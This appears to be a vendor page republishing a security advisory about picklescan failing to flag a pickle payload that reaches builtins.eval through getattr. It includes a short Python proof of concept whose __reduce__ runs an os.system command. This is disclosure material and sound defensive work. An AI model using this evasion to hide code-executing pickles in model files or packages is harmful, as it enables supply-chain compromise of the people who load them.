Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-9m3x-qqw2-h32h

picklescan missing detection by simple obfuscation of a `builtins.eval` call
Back to all
CVE

GHSA-9m3x-qqw2-h32h

picklescan missing detection by simple obfuscation of a `builtins.eval` call

Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.

Details

It's possible to hide the eval call nested under another callable via getattr.

PoC

import builtins
class EvilClass:
    @staticmethod
    def _obfuscated_eval(payload):
        getattr(builtins, "eval")(payload)
    def __reduce__(self):
        payload = "__import__('os').system('echo \"successful attack\"')"
        return self._obfuscated_eval, (payload,)

Impact

Who is impacted? 

Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.

What is the impact? 

Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9m3x-qqw2-h32h, https://github.com/mmaitre314/picklescan/pull/59, https://github.com/mmaitre314/picklescan/commit/173c8f2a869ea9b69b543477525ec70611c3c6f4, https://github.com/mmaitre314/picklescan, https://github.com/mmaitre314/picklescan/releases/tag/v1.0.1

Severity

9.8

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
9.8
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0,0.0.1,0.0.3,0.0.5,0.0.7,0.0.15
Fix Available
1.0.1

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading